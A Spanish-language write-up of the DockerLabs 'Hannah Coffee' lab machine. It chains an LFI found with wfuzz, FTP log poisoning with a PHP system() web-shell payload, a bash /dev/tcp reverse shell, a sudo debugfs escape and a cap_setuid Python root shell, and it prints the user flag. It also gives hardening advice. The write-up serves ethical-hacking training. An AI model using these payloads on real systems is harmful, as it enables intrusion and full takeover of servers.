Taller de hacking ético: Hannah Coffee

0. Taller de hacking ético dockerlabs.es: Hannah Coffee

• Plataforma: dockerlabs.es
• Nombre de la máquina: Hannah Coffee
• Estado del laboratorio: Completado
• Dificultad: Fácil
• URL del taller: https://dockerlabs.es/maquinas/297/

Hannah's Coffee es una máquina Linux de nivel fácil que simula una aplicación web de cafetería con vulnerabilidades encadenadas. El vector de entrada comienza explotando una vulnerabilidad de Inclusión Local de Archivos (LFI) en la aplicación PHP, la cual se combina con una técnica de FTP Log Poisoning para lograr Ejecución Remota de Códigos (RCE) como www-data. Para la escalada de privilegios, se requiere el uso de comandos permitidos mediante sudo y el abuso de binarios con capabilities específicas para alcanzar el acceso total como root.

1. Enumeración

Descargamos, descomprimimos y lanzamos el docker, nos informa que la IP de la máquina a auditar es 172.17.0.2

unzip hannah_coffee.zip
sudo bash auto_deploy.sh hannah-coffee.tar

Comprobación de la conectividad

ping -c 2 172.17.0.2

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.441 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.051 ms
--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1005ms
rtt min/avg/max/mdev = 0.051/0.246/0.441/0.195 ms

• El ttl=64 (Time to Live) confirma que el destino está en nuestra propia máquina o en la misma red local/Docker. 64 es el valor por defecto en Linux.
• rtt min/avg/max/mdev = 0.051/0.246/0.441/0.195 ms: Las estadísticas de tiempo (mínimo, promedio, máximo y desviación estándar). El tiempo medio es de apenas 0.246 milisegundos, lo cual demuestra una comunicación prácticamente instantánea.

Escaneo de puertos completo

nmap -sC -sV -Pn -n -T4 -p- --open 172.17.0.2

• -p-: escanea los 65535 puertos TCP.
• -sV: detección de versión de servicio.
• -sS: escaneo silencioso
• -sC: ejecuta los scripts NSE por defecto (banners, títulos HTTP, etc.).
• -Pn: para no ejecutar el comando ping, ya que algunas máquinas tienen deshabilitado el ping porpmotivos de seguridad.
• -n: Para que no haga la resolución de DNSs
• --open : muestra solo puertos abiertos.
• -T4: plantilla de velocidad "agresiva" (adecuada en local).

Nos muestra que tenemos dos puertos abiertos:

• Puerto 21/tcp abierto (servicio FTP): Significa que el servidor permite transferencias de archivos mediante el protocolo FTP.
• Puerto 80/tcp abierto (servicio HTTP): Está corriendo un servidor web. El escaneo detecta que utiliza Apache/2.4.68 (Debian).

Ya que hay una web corriendo, echamos un vistazo:

Las rutas de cada página va con parámetros, por ejemplo:

• http://172.17.0.2/index.php?page=home
• http://172.17.0.2/index.php?page=contact
• etc

A simple vista en el código fuente no vemos ningún regalito.

Intentamos acceder a http://172.17.0.2/index.php?page=../../../../etc/passwd sin éxito.

Lanzamos el script de nmap para detectar vulnerabilidades en ambos puertos:

nmap -p21,80 --script vuln 172.17.0.2

Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-22 11:05 +0200
Nmap scan report for 172.17.0.2
Host is up (0.000094s latency).

PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-sql-injection: ERROR: Script execution failed (use -d to debug)
| http-enum: 
|_  /pages/: Potentially interesting directory w/ listing on 'apache/2.4.68 (debian)'
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: F6:BD:AF:71:56:49 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 33.04 seconds

Hallazgos de los scripts de Nmap (http-enum):

Ha encontrado un directorio potencialmente interesante llamado /pages/ que tiene activado el listado de directorios (directory listing), lo que significa que se pueden ver los archivos que contiene directamente desde el navegador. Comprobamos:

Los scripts de pruebas automáticas para XSS, SQL Injection y CSRF no han encontrado vulnerabilidades evidentes con las comprobaciones básicas que ejecuta Nmap por defecto.

Primera vulnerabilidad detectada.

Que el directorio /pages/ tenga habilitado el listado de directorios (Directory Listing) permite a un atacante:

• Enumeración rápida: Ver todos los archivos internos, scripts antiguos, copias de seguridad (.bak, .zip) o documentos olvidados que el administrador no enlazó en la página principal pero que siguen estando en el servidor.
• Fuga de información: Descubrir la estructura de directorios y tecnologías usadas sin necesidad de realizar ataques de fuerza bruta avanzados (directory busting).

Cómo se soluciona en un servidor real (Visión Defensiva / Hardening)

Dado que en una auditoría de seguridad el objetivo es reportar el hallazgo y proponer la solución para cuando el equipo de sistemas tenga que aplicarla en un servidor de producción, la medida estándar es:

1. Desactivar los índices en Apache: Modificar el archivo de configuración del virtual host o el archivo principal de Apache (httpd.conf o apache2.conf) añadiendo la opción -Indexes en la directiva del directorio:

<Directory /var/www/html/pages>
    Options -Indexes FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>

2. Archivo de índice por defecto: Asegurarse de que cada directorio público disponga al menos de un archivo de bienvenida (index.html o index.php) vacío o con contenido para que el servidor web sirva eso en lugar de mostrar la lista de archivos.

Busqueda de parametros vulnerables: wfuzz

Vamos a buscar parámetro vulnerables con wfuzz, una herramienta de código abierto escrita en Python diseñada para realizar fuzzing y auditorías de seguridad en aplicaciones web.

┌──(alberto㉿kali)-[~/Descargas]
└─$ wfuzz -c -w /usr/share/dirb/wordlists/common.txt --hl 29 -u http://172.17.0.2/index.php?FUZZ=test 
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
default
default
 /usr/lib/python3/dist-packages/wfuzz/plugin_api/base.py:60: SyntaxWarning:'return' in a 'finally' block
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.17.0.2/index.php?FUZZ=test
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload        
=====================================================================

000003870:   200        24 L     44 W       635 Ch      "studio"       

Total time: 1.598703
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 2886.088

• -c : Colorea la salida por consola para facilitar la lectura.
• -z file,...: Especifica el archivo de diccionario que va a sustituir la palabra clave FUZZ.
• --hc 404: Oculta (Hide Code) todas las respuestas del servidor que devuelvan un error 404 (No encontrado), para mostrarte únicamente los directorios o archivos reales que den 200, 403, etc.
• FUZZ: fuzzing de parámetros (reemplazando FUZZ por palabras de un diccionario) en lugar de buscar directorios en la URL.

Tenemos un hallazgo.

De los 4.614 intentos realizados con el diccionario common.txt, el único parámetro que ha provocado una respuesta diferente y válida con código HTTP 200 es studio.

Esto significa que la aplicación web procesa un parámetro llamado studio en la URL http://172.17.0.2/index.php?studio=.

Este es el punto de entrada exacto donde reside la vulnerabilidad de LFI (Local File Inclusion) que mencionaba el taller.

Vamos a probar subir niveles de directorios (salir de la carpeta web actual, por ejemplo /var/www/html/) hasta llegar a la raíz del sistema operativo (/), donde se encuentra la carpeta /etc/.

Probamos: http://172.17.0.2/index.php?studio=../../../../etc/passwd.

Bingo!

2. Explotación

Vamos a intentar atacar el FTP mediante un envenenamiento del registro (FTP Log Poisoning).

Una vez que hemos confirmado el LFI mediante el parámetro studio, el siguiente paso para lograr la Ejecución Remota de Código (RCE) mediante FTP Log Poisoning consiste en inyectar código PHP en el servidor FTP para que este lo guarde en sus archivos de registro, y luego hacer que la aplicación web lea ese archivo de registro a través del LFI.

Nos conectamos por FTP:

ftp 172.17.0.2

Log Poisoning. Cuando el servidor te solicite el nombre de usuario (Name), introducimos una cadena maliciosa que incluya un payload de PHP en lugar de un nombre real. Por ejemplo: <?php system($_GET['cmd']); ?>

Cuando nos pida la contraseña (Password), podemos introducir cualquier valor aleatorio, con esto fallará el login, pero el intento quedará registrado. El servidor responderá con un error de inicio de sesión (Login incorrect), lo cual es completamente normal ya que el usuario no existe.

2.1. Logs del sistema. Localizar la ruta del archivo de registro.

Para que el LFI pueda ejecutar el código, debemos saber dónde guarda el servicio FTP sus registros (vsftpd en Debian). Las rutas más habituales en Linux son /var/log/vsftpd.log, /var/log/auth.log o /var/log/syslog.

Probamos http://172.17.0.2/index.php?studio=../../../../var/log/vsftpd.log&cmd=id:

El log poison ha funcionado con éxito. Observamos como en la parte inferior de los registros que muestra la pantalla se puede ver claramente la traza del comando ejecutado: [uid=33(www-data) gid=33(www-data) groups=33(www-data)].

El servidor ha interpretado y ejecutado el comando <?php system($_GET['cmd']); ?>, devolviendo la salida del comando id (usuario www-data).

Ahora que ya tenemos el punto de inyección de comandos funcionando, solo nos falta añadir el parámetro cmd a la URL para poder escribir cualquier instrucción de Linux a voluntad.

La estructura de la URL en tu navegador o mediante curl debe ser la siguiente:

http://172.17.0.2/index.php?studio=../../../../var/log/vsftpd.log&cmd=<comando>

2.2. Reverse shell.

Vamos a usar netcat para recibir una _reverse shell _(shell inversa). En escenarios de hacking ético o CTFs, cuando se vulnera una máquina remota, a menudo se ejecuta un comando en esa máquina para que "devuelva" una terminal (consola) conectándose de vuelta a nuestra IP en un puerto específico (por ejemplo, el 4444). Nuestro equipo usa este comando nc -lvnp 4444 para atrapar esa conexión y obtener el control de la terminal remota.

Abrimos un servicio de escucha con netcat para recibir la conexión entrante::

┌──(alberto㉿kali)-[~]
└─$ nc -lvnp 4444   
listening on [any] 4444 ...

• nc: Es el comando de Netcat, conocido como la "navaja suiza" de las redes. Permite leer y escribir datos a través de conexiones de red utilizando los protocolos TCP o UDP.
• -l (listen): Configura a Netcat en modo escucha. En lugar de conectarse a otro equipo, se queda esperando a que alguien más se conecte a él (actúa como servidor).
• -v (verbose): Activa el modo detallado. Hace que Netcat muestre información adicional en la pantalla sobre lo que está ocurriendo (por ejemplo, cuando alguien se conecta o se desconecta).
• -n (numeric-only): Le indica a Netcat que no realice búsquedas DNS inversas. Esto acelera la conexión y evita que intente resolver direcciones IP a nombres de dominio.
• -p 4444: Especifica el puerto (en este caso, el puerto 4444) en el que Netcat estará escuchando las conexiones entrantes.

Enviamos el payload introduciendo esta url: http://172.17.0.2/index.php?studio=../../../../../../../../var/log/vsftpd.log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/4444%200%3E%261%27

o con curl:

curl -G "http://172.17.0.2/index.php" --data-urlencode "studio=../../../../../../../../var/log/vsftpd.log" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/172.17.0.1/4040 0>&1'"

Nota: dado que los caracteres especiales (como &, >, o espacios) en las URLs pueden romper la petición HTTP, es recomendable usar Netcat (nc) o Bash codificado, o bien probar un payload corto de Bash si la aplicación lo interpreta bien en el parámetro cmd.

Y comprobamos la sesión activa:

──(alberto㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 42366
bash: cannot set terminal process group (38): Inappropriate ioctl for device
bash: no job control in this shell
www-data@01b9e78d1b1a:/var/www/html$ whoami
whoami
www-data
www-data@01b9e78d1b1a:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Vemos que la conexión se ha establecido con éxito y aparece el prompt del sistema dándonos eñ control como el usuario www-data.

Inspeccionamos el directorio:

www-data@01b9e78d1b1a:/var/www/html$ pwd && ls -la
pwd && ls -la
/var/www/html
total 20
drwxr-xr-x 1 root root 4096 Aug  6 08:46 .
drwxr-xr-x 1 root root 4096 Aug  6 08:44 ..
-rw-r--r-- 1 root root 1064 Aug  6 08:04 index.php
drwxr-xr-x 2 root root 4096 Aug  6 08:15 pages
-rw-r--r-- 1 root root 2120 Aug  6 08:14 style.css

2.3 Análisis.

Ejecutamos:

sudo -l

www-data@4c4b3dd21b95:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on 4c4b3dd21b95:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on 4c4b3dd21b95:
    (hannah) NOPASSWD: /sbin/debugfs -w /opt/hannah_disk.img
www-data@4c4b3dd21b95:/var/www/html$ 

Tenemos un hallazgo importante:

La salida nos muestra una escalada de privilegios muy clara a través de sudo. El usuario www-data puede ejecutar el comando /sbin/debugfs -w /opt/hannah_disk.img como el usuario hannah sin contraseña y con permisos de escritura (-w).

debugfs es un depurador de sistemas de archivos ext2/ext3/ext4 que permite interactuar con imágenes de disco y, crucialmente, ejecutar comandos internos o modificar archivos dentro de esa imagen si se tiene permisos de escritura.

Al ser una herramienta interactiva, podemos usarla para abrir una shell o cambiar permisos de archivos y escalar a hannah.

CWE (Common Weakness Enumeration): CWE-269: Improper Privilege Management (Gestión inadecuada de privilegios)

Describe situaciones donde un sistema no gestiona, asigna o restringe correctamente los privilegios de un usuario, lo que permite a actores o procesos obtener más privilegios de los intencionados.

OWASP Top 10 (2021 / 2025) — A05:2021 – Security Misconfiguration (Error de Configuración de Seguridad)

Este tipo de vulnerabilidad no nace de un error de código lógico (bug de programación), sino de una deficiencia en el endurecimiento (hardening) y despliegue del sistema (reglas de /etc/sudoers demasiado laxas o mal implementadas).

2.4 Escalada de privilegios y explotación de la vulnerabilidad.

Ejecutamos debugfs en modo interactivo como hannah. Lanzamos el comando permitido que hemos descubierto:

sudo -u hannah /sbin/debugfs -w /opt/hannah_disk.img

Y ya tenemso accesso al prompt interactivo de debugfs:

www-data@4c4b3dd21b95:/var/www/html$ sudo -u hannah /sbin/debugfs -w /opt/hannah_disk.img
<udo -u hannah /sbin/debugfs -w /opt/hannah_disk.img
debugfs 1.47.2 (1-Jan-2025)
debugfs: 

La forma más directa y limpia en debugfs para ejecutar comandos como el usuario propietario (hannah) es utilizar la función de ejecución de comandos si está disponible: !sh o !/bin/bash

User www-data may run the following commands on 4c4b3dd21b95:
    (hannah) NOPASSWD: /sbin/debugfs -w /opt/hannah_disk.img
www-data@4c4b3dd21b95:/var/www/html$ sudo -u hannah /sbin/debugfs -w /opt/hannah_disk.img
<udo -u hannah /sbin/debugfs -w /opt/hannah_disk.img
debugfs 1.47.2 (1-Jan-2025)
debugfs:  !sh
whoami
hannah
cd /home
ls -la
total 16
drwxr-xr-x 1 root      root      4096 Aug  6 08:46 .
drwxr-xr-x 1 root      root      4096 Oct 23 08:09 ..
drwx------ 1 hannah    hannah    4096 Aug  6 08:46 hannah
drwx------ 2 hannahftp hannahftp 4096 Aug  6 08:46 hannahftp
cd hannah
ls -la
total 24
drwx------ 1 hannah hannah 4096 Aug  6 08:46 .
drwxr-xr-x 1 root   root   4096 Aug  6 08:46 ..
-rw-r--r-- 1 hannah hannah  220 May  9 11:07 .bash_logout
-rw-r--r-- 1 hannah hannah 3526 May  9 11:07 .bashrc
-rw-r--r-- 1 hannah hannah  807 May  9 11:07 .profile
-rw------- 1 hannah hannah   42 Aug  6 08:46 user.txt
cat user.txt
dl{user_eedfcf739a076a72412c89a1354a4119}

Hemos escalado con éxito desde el usuario web (www-data) hasta el usuario hannah aprovechando la configuración insegura de debugfs en sudo. Y ya tenemos la flag de usuario (dl{user_eedfcf739a076a72412c89a1354a4119}).

2.5 Escalada de privilegios desde hannah a root.

Seguimos en el bash:

sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required

Buscamos entonces archivos con permisos SUID con find / -perm -4000 2>/dev/null

find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/exim4
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo

Lanzamos script /dev/null -c bash:

script /dev/null -c bash
Script started, output log file is '/dev/null'.
hannah@4c4b3dd21b95:~$ whoami
whoami
hannah
hannah@4c4b3dd21b95:~$ sudo -l
sudo -l
[sudo] password for hannah: 
[...]

hannah@4c4b3dd21b95:~$ ls
ls
user.txt
hannah@4c4b3dd21b95:~$ cat ~/.bash_history
ls -la ~/cat ~/.bash_history
cat: /home/hannah/.bash_history: No such file or directory
hannah@4c4b3dd21b95:~$ 
ls -la ~/
total 24
drwx------ 1 hannah hannah 4096 Aug  6 08:46 .
drwxr-xr-x 1 root   root   4096 Aug  6 08:46 ..
-rw-r--r-- 1 hannah hannah  220 May  9 11:07 .bash_logout
-rw-r--r-- 1 hannah hannah 3526 May  9 11:07 .bashrc
-rw-r--r-- 1 hannah hannah  807 May  9 11:07 .profile
-rw------- 1 hannah hannah   42 Aug  6 08:46 user.txt
hannah@4c4b3dd21b95:~$ sudo -u hannah /sbin/debugfs -w /opt/hannah_disk.img
sudo -u hannah /sbin/debugfs -w /opt/hannah_disk.img
hannah is not in the sudoers file.
This incident has been reported to the administrator.

Ya tenemos una TTY completamente funcional gracias al comando script.

Sin embargo, nos está pidiendo la contraseña de hannah para ejecutar sudo -l. Como hemos entrado a través de debugfs sin pasar por el login normal de SSH o una contraseña, no la tenemos.

Toca ser imaginativos y explotar la IA.

Vamos a intentar usar getcap -r / 2>/dev/null que buscará en todo el sistema archivos que tengan Capabilities (capacidades de Linux) asignadas.

 hannah@4c4b3dd21b95:~$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/opt/priv-python cap_setuid=ep 

La línea obtenida muestra lo siguiente: /opt/priv-python cap_setuid=ep

Esto significa que el archivo /opt/priv-python (que es un binario del intérprete de Python, posiblemente renombrado o modificado) tiene un permiso especial a nivel de kernel de Linux llamado capability.

• /opt/priv-python: Es el ejecutable (el intérprete de Python) ubicado en esa ruta.
• cap_setuid: Es la capacidad específica del kernel que le permite a un proceso modificar el User ID (UID) con el que se está ejecutando. En términos simples, otorga a ese programa la facultad de convertirse en cualquier otro usuario del sistema (incluyendo el usuario root con UID 0).
• =ep (Flags de la Capability):
  • e (Effective): Significa que la capacidad está activa y en vigor de forma inmediata en el momento en que se ejecuta el programa.
  • p (Permitted): Significa que el programa está autorizado a tener esa capacidad.

Tradicionalmente, para que un script o programa pudiera cambiar de usuario se necesitaba el bit SUID (-rwsr-xr-x), lo cual otorgaba privilegios totales y a veces presentaba riesgos de seguridad. Las capabilities se introdujeron en Linux para dividir esos súper poderes en piezas más pequeñas y granulares.

Sin embargo, si un usuario ejecutable (como hannah) puede ejecutar un intérprete de Python que tiene la capacidad cap_setuid=ep, ese intérprete de Python puede invocar funciones del sistema para cambiar su propio UID a 0 (root) de manera instantánea al iniciar un script, sin necesidad de usar contraseñas ni sudo.

Llegados a este punto investigamos, y encontramos una técnica en Python de GTFOBins que documenta cómo unas capacidades mal configuradas —concretamente CAP_SETUID— pueden convertir binarios potentes como Python en shells de root instantáneos:

/opt/priv-python -c 'import os; os.setuid(0); os.system("/bin/bash")'
<c 'import os; os.setuid(0); os.system("/bin/bash")'

• import os: Carga el módulo de interfaz del sistema operativo de Python.
• os.setuid(0): Aprovecha la capacidad CAP_SETUID asociada al binario para cambiar el UID real y efectivo del proceso a 0 (root).
• os.execl("/bin/sh", "sh"): Inicia un shell que se ejecuta bajo el contexto de root recién adquirido.

Lo lanzamos:

hannah@4c4b3dd21b95:~$ /opt/priv-python -c 'import os; os.setuid(0); os.system("/bin/bash")'
<c 'import os; os.setuid(0); os.system("/bin/bash")'
root@4c4b3dd21b95:~# sudo -l
sudo -l
Matching Defaults entries for root on 4c4b3dd21b95:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User root may run the following commands on 4c4b3dd21b95:
    (ALL : ALL) ALL
root@4c4b3dd21b95:~# whoami
whoami
root
root@4c4b3dd21b95:~# 

¡Y ya lo tenemos!

Hemos escalado privilegios con éxito hasta el usuario root aprovechando la capability cap_setuid=ep en el binario /opt/priv-python.

En resumen:

1. Acceso inicial: www-data (vulnerabilidad web / RCE).
2. Primera escalada: Usuario hannah (mediante Sudo mal configurado en /sbin/debugfs).
3. Escalada final: Usuario root (mediante una Linux Capability mal configurada: cap_setuid=ep en un binario de Python).

[EOF]